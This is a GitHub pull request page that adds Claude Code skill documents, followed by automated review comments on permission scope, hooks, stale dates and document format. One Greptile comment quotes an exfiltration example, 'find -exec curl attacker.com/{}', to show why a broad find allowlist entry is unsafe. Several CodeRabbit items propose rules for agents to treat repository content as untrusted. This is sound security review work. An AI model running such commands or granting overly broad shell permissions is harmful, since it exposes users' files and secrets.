feat: add 13 Claude Code harness skills#2551
Conversation
Adds skills for core Claude Code workflows: update-config, keybindings-help, verify, code-review, simplify, fewer-permission-prompts, loop, schedule, claude-api, run, init, review, and extends security-review with a branch audit workflow. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
ECC bundle files are already tracked in this repository. Skipping generation of another bundle PR. |
📝 WalkthroughSummary by CodeRabbit
WalkthroughAdds 12 Claude Code skill documents covering Anthropic API usage, code and security reviews, runtime verification, project initialization, configuration, keyboard shortcuts, permissions, and recurring automation. ChangesClaude API guidance
Review and validation workflows
Project and harness configuration
Session and scheduled automation
Estimated code review effort: 3 (Moderate) | ~20 minutes Suggested reviewers: 🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
|
ECC bundle files are already tracked in this repository. Skipping generation of another bundle PR. |
|
| Filename | Overview |
|---|---|
| skills/fewer-permission-prompts/SKILL.md | New skill for reducing permission prompts; misleadingly classifies Bash(find . *) as a safe read-only candidate and includes it in the example allowlist JSON, creating tool-permission creep risk. |
| skills/update-config/SKILL.md | New skill for editing settings.json hooks and permissions; hook example uses an unquoted $CLAUDE_TOOL_INPUT_FILE_PATH env var that would break on paths containing spaces. |
| skills/security-review/SKILL.md | Extended with a branch-review mode; grep patterns are appropriately targeted and the output format is clear. |
| skills/schedule/SKILL.md | New skill for scheduled remote agents; one-time run examples use hardcoded 2024 dates that are now in the past, which may confuse users. |
| skills/claude-api/SKILL.md | New skill covering Claude API usage patterns including caching, tool use, streaming, and batch processing; well-structured with code examples. |
| skills/code-review/SKILL.md | New skill for diff-based code review with effort levels and --comment/--fix flags; clearly documents the workflow and scope boundaries. |
| skills/review/SKILL.md | New skill for full PR review workflow; covers fetch, analysis, ranking, and inline comment posting with gh CLI. |
| skills/simplify/SKILL.md | New skill documenting the /simplify shortcut; clear scope boundaries and simplification principles. |
| skills/verify/SKILL.md | New skill for manual verification of code changes; good distinction from automated tests and type checks. |
| skills/run/SKILL.md | New skill for launching applications across project types; comprehensive launch strategy and reporting guidance. |
| skills/loop/SKILL.md | New skill for recurring interval tasks; clear loop-vs-schedule distinction and self-pacing behavior documented. |
| skills/init/SKILL.md | New skill for initializing CLAUDE.md; includes discovery workflow and quality checks for project-specific content. |
| skills/keybindings-help/SKILL.md | New skill for customizing Claude Code keybindings; covers file format, modifiers, chord sequences, and common customizations. |
Comments Outside Diff (2)
-
skills/fewer-permission-prompts/SKILL.md, line 363-366 (link)Tool-permission creep:
Bash(find . *)is not read-onlyfindsupports side-effecting flags like-delete,-exec rm {} \;, and-exec curl attacker.com/{} \;. The patternBash(find . *)— listed here as a "read-only" candidate and included verbatim in the examplesettings.jsonallowlist below — would also match all of those invocations, silently granting write/exfiltration capability alongside the intended directory listing. A narrower pattern such asBash(find . -name *)orBash(find . -maxdepth * -type f)limits matches to the actual read-only use case.Rule Used: Review for prompt injection, tool-permission creep... (source)
-
skills/schedule/SKILL.md, line 136-137 (link)Stale past dates in one-time schedule examples
Both
--atexamples use dates from 2024 (2024-01-15 14:00and2024-12-31 23:59), which are now well in the past. Agents or users who copy these examples verbatim may be confused when the scheduler rejects or immediately fires the schedule. Consider using relative time expressions like"tomorrow 9am"or noting that the date must be in the future.Note: If this suggestion doesn't match your team's coding style, reply to this and let me know. I'll remember it for next time!
Reviews (1): Last reviewed commit: "Merge branch 'main' into main" | Re-trigger Greptile
| "Bash(git diff --stat *)", | ||
| "Bash(ls *)", | ||
| "Bash(ls -la *)", | ||
| "Bash(find . *)", |
There was a problem hiding this comment.
The same overly-broad
Bash(find . *) pattern appears in the example allowlist JSON that agents and users will copy directly into their settings files. Narrowing it to -name * keeps the common use case while blocking -delete/-exec variants.
| "Bash(find . *)", | |
| "Bash(find . -name *)", |
Rule Used: Review for prompt injection, tool-permission creep... (source)
| { | ||
| "matcher": { "tool_name": "Edit" }, | ||
| "hooks": [ | ||
| { "type": "command", "command": "npx eslint --fix $CLAUDE_TOOL_INPUT_FILE_PATH" } |
There was a problem hiding this comment.
The hook command leaves
$CLAUDE_TOOL_INPUT_FILE_PATH unquoted. On any path containing spaces (e.g. my project/src/foo.ts), the shell will word-split the variable and pass the components as separate arguments to eslint, causing the hook to fail or act on the wrong file. Quoting the variable fixes this.
| { "type": "command", "command": "npx eslint --fix $CLAUDE_TOOL_INPUT_FILE_PATH" } | |
| { "type": "command", "command": "npx eslint --fix \"$CLAUDE_TOOL_INPUT_FILE_PATH\"" } |
There was a problem hiding this comment.
Actionable comments posted: 37
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@skills/claude-api/SKILL.md`:
- Line 5: Update the tools allowlist in the API-reference skill front matter to
retain only Read, Glob, and Grep; remove Write, Edit, and Bash so the skill
cannot mutate files or execute commands without explicit user approval.
- Around line 1-5: Remove skills/claude-api/SKILL.md from the active ECC skill
surface so it no longer conflicts with the externally installed claude-api skill
expected by agent-yaml-surface.test.js. If the content must be retained, move it
to a non-packaged source location and update any packaging references without
changing the test’s expected absence contract.
- Line 10: Update the skill guidance around prompt caching so it is conditional
rather than required for every application. Recommend caching only when stable
prompts, tools, or sufficiently long context are repeated, while allowing
applications with short or non-reused inputs to omit it.
- Around line 27-35: Update the “Current Models” table in the Claude skill
documentation to include the active Claude Opus 4.8 (`claude-opus-4-8`) and
Claude Sonnet 5 (`claude-sonnet-5`) models, revise the date as appropriate, and
change the default recommendation to the current latest top model, Claude Opus
4.8.
- Around line 119-125: Update the claude-opus-4-7 example’s messages.create
thinking configuration to use adaptive thinking rather than the manual
enabled/budget_tokens form. Also revise the related troubleshooting guidance to
state the documented 1,024-token minimum for legacy manual thinking mode.
In `@skills/code-review/SKILL.md`:
- Around line 3-5: Update the tools declaration in the skill metadata to include
the write-capable tool required by the --fix workflow, such as Write or Edit,
while preserving the existing review and comment functionality.
- Around line 8-12: Each affected skill document lacks the required
documentation sections. Add explicit “How It Works” and “Examples” sections to
skills/code-review/SKILL.md, skills/review/SKILL.md,
skills/security-review/SKILL.md, skills/simplify/SKILL.md, skills/run/SKILL.md,
and skills/verify/SKILL.md, with content appropriate to each skill and
consistent with the repository format.
- Around line 37-48: Update the workflows to capture the complete pending change
set: in skills/code-review/SKILL.md (lines 37-48),
skills/security-review/SKILL.md (lines 16-22), skills/simplify/SKILL.md (lines
25-31), and skills/verify/SKILL.md (lines 27-32), include both staged and
unstaged working-tree diffs alongside the appropriate branch-base or
committed-branch diff. Ensure verify uses the actual branch base, while security
review includes committed branch changes plus local staged and unstaged changes.
In `@skills/fewer-permission-prompts/SKILL.md`:
- Around line 33-45: Update the skill document structure by adding a dedicated
“## Examples” section and moving the candidate allowlist entries beneath it.
Preserve all existing entries unchanged and keep them grouped under that
heading.
- Around line 33-45: Narrow wildcard permission rules throughout the documented
candidates: in skills/fewer-permission-prompts/SKILL.md lines 33-45, constrain
or remove broad patterns such as find; in lines 62-73, replace wildcard
executable rules with exact read-only commands; in lines 91-97, remove the
generic npm run wildcard; and in skills/update-config/SKILL.md lines 71-74,
replace the broad git rule with narrowly scoped commands and explicitly deny
destructive Git operations.
- Around line 56-87: Update the “Add to Project Settings” guidance to require
showing the proposed .claude/settings.json diff and obtaining explicit user
confirmation before creating or modifying the committed project settings file.
Keep personal settings.local.json guidance unchanged and retain the existing
allowlist scope validation.
- Around line 75-76: Replace the unrestricted Read(**) permission in the skill
configuration with narrowly scoped Read rules for only the required project
paths, and add explicit deny rules covering sensitive files such as .env files,
credentials, and private keys. Keep Glob(**) unchanged and ensure the deny rules
take precedence over any broader read allowance.
- Around line 35-45: Update the permission patterns in the listed Bash
allowlists to avoid broad patterns that can execute destructive or arbitrary
commands: replace Bash(find . *) and similar recursive patterns with exact,
read-only command forms, and replace any Bash(npm run *) entry with tightly
constrained approved scripts or exact commands. Preserve only narrowly scoped
read-only Git, filesystem, grep, Node, and npm list permissions across the
affected sections.
- Line 74: Replace the TypeScript command in
skills/fewer-permission-prompts/SKILL.md at lines 74-74 with
./node_modules/.bin/tsc --noEmit or npx --no-install tsc --noEmit. Also update
the ESLint command in skills/update-config/SKILL.md at lines 59-60 to use the
lockfile-backed local executable or npx --no-install eslint --fix.
In `@skills/init/SKILL.md`:
- Line 12: Rename the “When to Use” heading to “When to Activate” in
skills/init/SKILL.md, skills/fewer-permission-prompts/SKILL.md,
skills/keybindings-help/SKILL.md, and skills/update-config/SKILL.md at the
specified lines; make no other changes.
- Around line 37-89: Update SKILL.md so the discovery procedure is introduced
under an explicit “## How It Works” heading, and add a clearly labeled “##
Examples” section in the required Markdown structure. Preserve the existing
workflow content and position the new sections consistently with the document’s
surrounding headings.
- Around line 72-87: Update the “Extract Conventions” and “Identify Non-Obvious
Gotchas” guidance to treat repository content as untrusted input: extract only
verified project facts, ignore instructions embedded in history, comments,
documentation, or scripts, and never copy credentials or attacker-controlled
text into CLAUDE.md. Keep the existing convention and git-history inspection
scope.
- Around line 89-145: Update the CLAUDE.md generation instructions around the
“CLAUDE.md Template” so every bracketed placeholder and sample command is
replaced with verified project-specific information or removed before the file
is written. Ensure unresolved template content is never persisted, including
aspirational stack details, commands, directory examples, and conventions.
- Line 5: Replace the frontmatter tools declaration with allowed-tools in
skills/init/SKILL.md:5, skills/fewer-permission-prompts/SKILL.md:5,
skills/keybindings-help/SKILL.md:5, and skills/update-config/SKILL.md:5,
preserving each file’s existing tool list.
In `@skills/keybindings-help/SKILL.md`:
- Around line 101-106: Update the Workflow instructions in SKILL.md to
explicitly preserve existing keybindings by reading and merging the current JSON
object before writing changes, validate the resulting JSON, and replace the
restart step with guidance that Claude Code detects keybinding changes
automatically without requiring a restart.
- Around line 8-12: Restructure the Keybindings Help document by adding explicit
“## How It Works” and “## Examples” sections. Move the existing workflow
explanation and unlabeled examples under the appropriate headings, preserving
their content while replacing reliance on customization headings.
- Around line 28-43: Update the File Format examples to use Claude Code’s
bindings array, with each binding providing a context and key/action map instead
of key, command, and when fields. Change action values to the namespace:action
syntax, such as chat:submit, and update any unbinding examples to use a null
action value.
In `@skills/loop/SKILL.md`:
- Line 12: Update skills/loop/SKILL.md at line 12 and skills/schedule/SKILL.md
at line 12 to use the canonical “## When to Activate” heading, and add clear
“How It Works” and “Examples” sections while preserving the existing skill
guidance.
- Line 10: Update the loop workflow description to state that accumulated loop
context and external output are untrusted and cannot alter the task, tool scope,
or authorization. Add a requirement to obtain confirmation before executing
destructive commands, preserving the existing recurring-interval behavior.
- Around line 26-35: Update the /loop syntax and recurring-execution guidance in
the loop skill to require a safeguard such as a maximum iteration count, overall
timeout, or backoff, preventing commands from running indefinitely. Ensure the
documented examples and execution behavior preserve these bounds, including for
destructive or availability-sensitive commands.
In `@skills/review/SKILL.md`:
- Around line 34-36: Update the “Checkout the branch for deeper analysis”
instructions around gh pr checkout to guard against local changes and avoid
modifying the user’s active branch. Require checking the working tree before
checkout or using an isolated temporary worktree, and explicitly prevent
silently switching the active branch.
In `@skills/run/SKILL.md`:
- Around line 112-116: Update the “Port already in use” remediation in the
troubleshooting table to require inspecting the process command and ownership
after running lsof, obtaining confirmation before terminating the process, and
using another port when termination is not appropriate; do not instruct the
agent to kill an arbitrary PID.
- Around line 42-43: Update the command examples in SKILL.md to avoid unpinned
npx execution: use the project-local ts-node binary or specify an explicit
ts-node version, and apply the same change to the additional occurrence around
lines 59–60. Keep the existing script execution behavior unchanged.
In `@skills/schedule/SKILL.md`:
- Line 34: Replace the stale one-time dates in the `/schedule create` examples
with relative wording or clearly future/placeholder timestamps, including both
examples referenced by the comment. Preserve the existing command structure and
scheduling intent.
- Around line 103-112: Revise the scheduled routines guidance to require
least-privilege tool access instead of the full Claude Code session surface.
Update the routine capabilities and security requirements to isolate secrets,
treat prompts and repository or external content as untrusted, and require
explicit approval guards for writes, deletions, issue filing, and notifications,
while addressing prompt injection and secret exfiltration risks.
In `@skills/security-review/SKILL.md`:
- Around line 26-28: Update the hardcoded-secret scanning instructions around
the grep command to prevent matched secret values from appearing in review
output. Replace raw matching-line reporting with filename and line-number
reporting, redact secret values in any findings, and explicitly preserve the
rule that credentials and tokens must never be included in the agent transcript
or posted review.
- Around line 24-41: Update the “Scan for High-Risk Patterns” section to derive
a changed-file list first and run all checks only against those files. Expand
language-specific patterns to cover secrets in YAML, JSON, and shell files;
Python eval/exec; JavaScript template-string SQL; and additional dangerous
deserialization forms, while preserving appropriate file-type filters for each
pattern.
In `@skills/update-config/SKILL.md`:
- Around line 50-65: Add an explicit “## Examples” heading in SKILL.md before
the hook, permission, and environment configuration snippets, grouping all of
those examples under that section while preserving their existing content.
- Around line 81-89: Update the “Setting an Environment Variable” guidance in
SKILL.md to explicitly keep API keys and other secrets out of the shared project
env block, and direct users to store sensitive values in user or local settings
instead. Preserve the existing non-sensitive environment variable example.
- Around line 100-108: Update the “Command exits non-zero” bullet in the Hook
Troubleshooting section to state that exit code 2 blocks most actions, while
exit code 1 is a non-blocking error; preserve the existing distinction that
behavior may vary by hook event.
- Around line 54-60: Update the PostToolUse hook example in the hooks
configuration to use a string matcher such as "Edit" instead of an object.
Replace the direct eslint command with a wrapper script that reads event JSON
from stdin, verifies tool_name is "Edit" and tool_input.file_path exists, then
invokes npx eslint --fix with the path safely quoted.
In `@skills/verify/SKILL.md`:
- Around line 43-56: Update the “Run the App” section so npm test is removed
from the application-launch commands and documented as a separate
smoke/regression step. Require starting the relevant application process,
exercising the changed behavior, and observing its result before reporting
success.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: ASSERTIVE
Plan: Pro Plus
Run ID: d9e29919-7f14-46df-ba4c-eab34eb7ce2e
📒 Files selected for processing (13)
skills/claude-api/SKILL.mdskills/code-review/SKILL.mdskills/fewer-permission-prompts/SKILL.mdskills/init/SKILL.mdskills/keybindings-help/SKILL.mdskills/loop/SKILL.mdskills/review/SKILL.mdskills/run/SKILL.mdskills/schedule/SKILL.mdskills/security-review/SKILL.mdskills/simplify/SKILL.mdskills/update-config/SKILL.mdskills/verify/SKILL.md
📜 Review details
⏰ Context from checks skipped due to timeout. (1)
- GitHub Check: Greptile Review
🧰 Additional context used
📓 Path-based instructions (4)
skills/**/*.md
📄 CodeRabbit inference engine (CLAUDE.md)
Skills should be formatted as Markdown with clear sections for When to Use, How It Works, and Examples.
Files:
skills/simplify/SKILL.mdskills/verify/SKILL.mdskills/run/SKILL.mdskills/loop/SKILL.mdskills/code-review/SKILL.mdskills/claude-api/SKILL.mdskills/init/SKILL.mdskills/fewer-permission-prompts/SKILL.mdskills/update-config/SKILL.mdskills/review/SKILL.mdskills/keybindings-help/SKILL.mdskills/schedule/SKILL.mdskills/security-review/SKILL.md
{agents,skills,commands}/**/*.md
📄 CodeRabbit inference engine (CLAUDE.md)
Use lowercase filenames with hyphens (e.g.,
python-reviewer.md,tdd-workflow.md) for agents, skills, and commands.
Files:
skills/simplify/SKILL.mdskills/verify/SKILL.mdskills/run/SKILL.mdskills/loop/SKILL.mdskills/code-review/SKILL.mdskills/claude-api/SKILL.mdskills/init/SKILL.mdskills/fewer-permission-prompts/SKILL.mdskills/update-config/SKILL.mdskills/review/SKILL.mdskills/keybindings-help/SKILL.mdskills/schedule/SKILL.mdskills/security-review/SKILL.md
skills/**
📄 CodeRabbit inference engine (AGENTS.md)
New workflow contributions should land in
skills/first;skills/is the canonical workflow surface.
Files:
skills/simplify/SKILL.mdskills/verify/SKILL.mdskills/run/SKILL.mdskills/loop/SKILL.mdskills/code-review/SKILL.mdskills/claude-api/SKILL.mdskills/init/SKILL.mdskills/fewer-permission-prompts/SKILL.mdskills/update-config/SKILL.mdskills/review/SKILL.mdskills/keybindings-help/SKILL.mdskills/schedule/SKILL.mdskills/security-review/SKILL.md
{skills,commands,agents,rules}/**
⚙️ CodeRabbit configuration file
{skills,commands,agents,rules}/**: Focus on prompt-injection resilience, tool-permission scope, destructive action guards, and secret exfiltration risks.
Files:
skills/simplify/SKILL.mdskills/verify/SKILL.mdskills/run/SKILL.mdskills/loop/SKILL.mdskills/code-review/SKILL.mdskills/claude-api/SKILL.mdskills/init/SKILL.mdskills/fewer-permission-prompts/SKILL.mdskills/update-config/SKILL.mdskills/review/SKILL.mdskills/keybindings-help/SKILL.mdskills/schedule/SKILL.mdskills/security-review/SKILL.md
🧠 Learnings (2)
📚 Learning: 2026-03-15T19:02:43.245Z
Learnt from: imrobinsingh
Repo: affaan-m/everything-claude-code PR: 503
File: skills/data-scraper-agent/SKILL.md:1-748
Timestamp: 2026-03-15T19:02:43.245Z
Learning: In this repository, skill folders should use a lowercase-hyphen name (e.g., data-scraper-agent, claude-api) and the skill description file inside each folder should be named SKILL.md (uppercase). Do not flag SKILL.md as a naming violation; treat SKILL.md as the canonical file name inside each skill directory.
Applied to files:
skills/simplify/SKILL.mdskills/verify/SKILL.mdskills/run/SKILL.mdskills/loop/SKILL.mdskills/code-review/SKILL.mdskills/claude-api/SKILL.mdskills/init/SKILL.mdskills/fewer-permission-prompts/SKILL.mdskills/update-config/SKILL.mdskills/review/SKILL.mdskills/keybindings-help/SKILL.mdskills/schedule/SKILL.mdskills/security-review/SKILL.md
📚 Learning: 2026-04-15T15:52:59.963Z
Learnt from: manja316
Repo: affaan-m/everything-claude-code PR: 1360
File: skills/security-bounty-hunter/SKILL.md:11-18
Timestamp: 2026-04-15T15:52:59.963Z
Learning: In this repository’s skills documentation (skills/**/SKILL.md), use the canonical auto-activation skill section header `## When to Activate`—do not use `## When to Use`. CONTRIBUTING.md and docs/SKILL-DEVELOPMENT-GUIDE.md confirm the required header, and existing skills follow this convention. This header is important for the auto-activation mechanism to detect the correct section.
Applied to files:
skills/simplify/SKILL.mdskills/verify/SKILL.mdskills/run/SKILL.mdskills/loop/SKILL.mdskills/code-review/SKILL.mdskills/claude-api/SKILL.mdskills/init/SKILL.mdskills/fewer-permission-prompts/SKILL.mdskills/update-config/SKILL.mdskills/review/SKILL.mdskills/keybindings-help/SKILL.mdskills/schedule/SKILL.mdskills/security-review/SKILL.md
🪛 LanguageTool
skills/verify/SKILL.md
[style] ~17-~17: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...ting of a feature before pushing - User wants to validate local changes before a code re...
(REP_WANT_TO_VB)
skills/loop/SKILL.md
[style] ~15-~15: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...eck the deploy every 5 minutes") - User wants to poll for status ("keep watching until t...
(REP_WANT_TO_VB)
[style] ~16-~16: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...atching until the build passes") - User wants to run something repeatedly on a schedule ...
(REP_WANT_TO_VB)
skills/init/SKILL.md
[style] ~21-~21: To make your writing flow more naturally, try moving the adverb ‘already’ closer to the verb ‘detailed’.
Context: ...pdates — edit it directly - The project already has detailed CLAUDE.md content — avoid overwriting g...
(PERF_TENS_ADV_PLACEMENT)
skills/update-config/SKILL.md
[style] ~17-~17: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...on to global or project settings - User wants to set an environment variable ("set DEBUG...
(REP_WANT_TO_VB)
skills/keybindings-help/SKILL.md
[style] ~15-~15: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...ind a key ("rebind ctrl+s to X") - User wants to add a chord shortcut ("add a chord bind...
(REP_WANT_TO_VB)
[style] ~16-~16: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...shortcut ("add a chord binding") - User wants to change the submit key (default: Enter) ...
(REP_WANT_TO_VB)
[style] ~17-~17: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ... the submit key (default: Enter) - User wants to customize keybindings in general - User...
(REP_WANT_TO_VB)
skills/schedule/SKILL.md
[style] ~15-~15: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...ightly", "every Monday morning") - User wants to set up an automated task ("generate a w...
(REP_WANT_TO_VB)
[style] ~17-~17: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...morrow", "run this once at 3pm") - User wants to list or manage existing scheduled routi...
(REP_WANT_TO_VB)
🪛 SkillSpector (2.3.11)
skills/run/SKILL.md
[warning] 42: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
Remediation: Pin the version: npx @scope/server@1.2.3
(MCP Rug Pull (RP1))
skills/fewer-permission-prompts/SKILL.md
[warning] 74: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
Remediation: Pin the version: npx @scope/server@1.2.3
(MCP Rug Pull (RP1))
[error] 105: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
[warning] 21: [EA2] Autonomous Decision Making: Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
Remediation: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.
(Excessive Agency (EA2))
[warning] 22: [EA2] Autonomous Decision Making: Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
Remediation: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.
(Excessive Agency (EA2))
[error] 54: [TM1] Tool Parameter Abuse: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Remediation: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
(Tool Misuse (TM1))
skills/update-config/SKILL.md
[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
Remediation: Pin the version: npx @scope/server@1.2.3
(MCP Rug Pull (RP1))
[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
🔇 Additional comments (2)
skills/claude-api/SKILL.md (1)
8-9: LGTM!Also applies to: 12-25, 41-89, 91-114, 130-160, 162-170, 180-184
skills/schedule/SKILL.md (1)
61-89: 🎯 Functional CorrectnessDocument the timezone and daylight-saving behavior.
Cron and
--atexamples use wall-clock times but do not state whether execution uses the user, project, or server timezone. Verify the implementation and document the selected timezone and DST behavior to avoid routines running at unexpected times.
| --- | ||
| name: claude-api | ||
| description: Build, debug, and optimize Claude API / Anthropic SDK applications. Covers prompt caching, thinking, tool use, batch processing, streaming, file APIs, citations, and model migrations. Trigger when code imports anthropic or @anthropic-ai/sdk. | ||
| origin: claude-code-harness | ||
| tools: Read, Write, Edit, Bash, Glob, Grep |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🔴 Critical | ⚡ Quick win
Remove this file from the active ECC skill surface.
tests/ci/agent-yaml-surface.test.js:112-123 explicitly asserts that skills/claude-api/SKILL.md must not exist because claude-api is installed from anthropics/skills. This file will fail that CI check; move the source elsewhere or update the packaging contract before merging.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/claude-api/SKILL.md` around lines 1 - 5, Remove
skills/claude-api/SKILL.md from the active ECC skill surface so it no longer
conflicts with the externally installed claude-api skill expected by
agent-yaml-surface.test.js. If the content must be retained, move it to a
non-packaged source location and update any packaging references without
changing the test’s expected absence contract.
| name: claude-api | ||
| description: Build, debug, and optimize Claude API / Anthropic SDK applications. Covers prompt caching, thinking, tool use, batch processing, streaming, file APIs, citations, and model migrations. Trigger when code imports anthropic or @anthropic-ai/sdk. | ||
| origin: claude-code-harness | ||
| tools: Read, Write, Edit, Bash, Glob, Grep |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Narrow the skill’s tool permissions.
This API-reference skill is auto-activated by Anthropic imports but grants Write, Edit, and unrestricted Bash in addition to read/search tools. If tools is an effective allowlist, a prompt-injected repository could turn routine API guidance into file mutation or command execution. Prefer Read, Glob, and Grep; require explicit user approval for writes and shell commands.
As per path instructions, review this skill for prompt-injection resilience and tool-permission scope.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/claude-api/SKILL.md` at line 5, Update the tools allowlist in the
API-reference skill front matter to retain only Read, Glob, and Grep; remove
Write, Edit, and Bash so the skill cannot mutate files or execute commands
without explicit user approval.
Source: Path instructions
|
|
||
| # Claude API | ||
|
|
||
| Build, debug, and optimize applications using the Claude API (Anthropic SDK). All apps built with this skill should include prompt caching. |
There was a problem hiding this comment.
🚀 Performance & Scalability | 🔵 Trivial | ⚡ Quick win
Do not require prompt caching for every application.
Caching is useful for repeated, sufficiently large prefixes, but short prompts below the model/platform threshold are simply not cached, and cache writes have their own cost. Make caching conditional on repeated stable system prompts, tools, or long context rather than an unconditional requirement. (platform.claude.com)
Also applies to: 37-40
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/claude-api/SKILL.md` at line 10, Update the skill guidance around
prompt caching so it is conditional rather than required for every application.
Recommend caching only when stable prompts, tools, or sufficiently long context
are repeated, while allowing applications with short or non-reused inputs to
omit it.
| ## Current Models (as of 2025) | ||
|
|
||
| | Model | ID | Best For | | ||
| |-------|-----|----------| | ||
| | Claude Opus 4.7 | `claude-opus-4-7` | Most capable, complex reasoning | | ||
| | Claude Sonnet 4.6 | `claude-sonnet-4-6` | Balanced capability and speed | | ||
| | Claude Haiku 4.5 | `claude-haiku-4-5-20251001` | Fast, cost-efficient | | ||
|
|
||
| Default to the latest and most capable model for new applications. |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== file exists and relevant content =="
if [ -f skills/claude-api/SKILL.md ]; then
nl -ba skills/claude-api/SKILL.md | sed -n '1,80p'
else
echo "skills/claude-api/SKILL.md not found"
fi
echo
echo "== repo files under skills/claude-api =="
git ls-files skills/claude-apiRepository: affaan-m/ECC
Length of output: 229
🌐 Web query:
Anthropic platform model deprecations July 2026 claude-opus-4-8 claude-sonnet-5 claude-opus-4-7 claude-sonnet-4-6 claude-haiku-4-5-20251001
💡 Result:
As of today, July 23, 2026, the status of the requested models is as follows: Active Models: - claude-opus-4-8: Active; tentative retirement not sooner than May 28, 2027 [1][2]. - claude-sonnet-5: Active; tentative retirement not sooner than June 30, 2027 [1][2]. - claude-opus-4-7: Active; tentative retirement not sooner than April 16, 2027 [1][2]. - claude-sonnet-4-6: Active; tentative retirement not sooner than February 17, 2027 [1][2]. - claude-haiku-4-5-20251001: Active; tentative retirement not sooner than October 15, 2026 [1][2]. Summary of Recent Deprecations: None of the specific models you listed are currently deprecated or retired [1][2]. Recent model deprecations occurred on June 15, 2026, for older versions, specifically claude-sonnet-4-20250514 and claude-opus-4-20250514, which were replaced by models like claude-sonnet-4-6 and claude-opus-4-8 respectively [1][3][4]. Additionally, claude-opus-4-1-20250805 was deprecated on June 5, 2026, with a retirement date of August 5, 2026 [1][2]. For the most accurate and up-to-date information, please refer to the official Anthropic Platform documentation on model deprecations [1].
Citations:
- 1: https://platform.claude.com/docs/en/about-claude/model-deprecations
- 2: https://platform.claude.com/docs/en/about-claude/model-deprecations?_rsc=1ebj0
- 3: https://platform.claude.com/docs/en/release-notes/overview
- 4: https://releasebot.io/updates/anthropic/claude-developer-platform
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== file exists and relevant content =="
if [ -f skills/claude-api/SKILL.md ]; then
awk '{printf "%4d\t%s\n", NR, $0}' skills/claude-api/SKILL.md | sed -n '1,100p'
else
echo "skills/claude-api/SKILL.md not found"
fi
echo
echo "== repo files under skills/claude-api =="
git ls-files skills/claude-api || true
echo
echo "== precise model mentions in skill =="
python3 - <<'PY'
from pathlib import Path
p=Path("skills/claude-api/SKILL.md")
if p.exists():
text=p.read_text()
for m in ["claude-opus-4-8","claude-sonnet-5","claude-opus-4-7","claude-sonnet-4-6","claude-haiku-4-5-20251001","current models","latest"]:
print(f"{m!r}: {m in text}")
print("line 27-35:")
lines=text.splitlines()
for i in range(26, min(36, len(lines))):
print(f"{i+1}: {lines[i]}")
PYRepository: affaan-m/ECC
Length of output: 4332
Refresh the Claude model catalog and default recommendation.
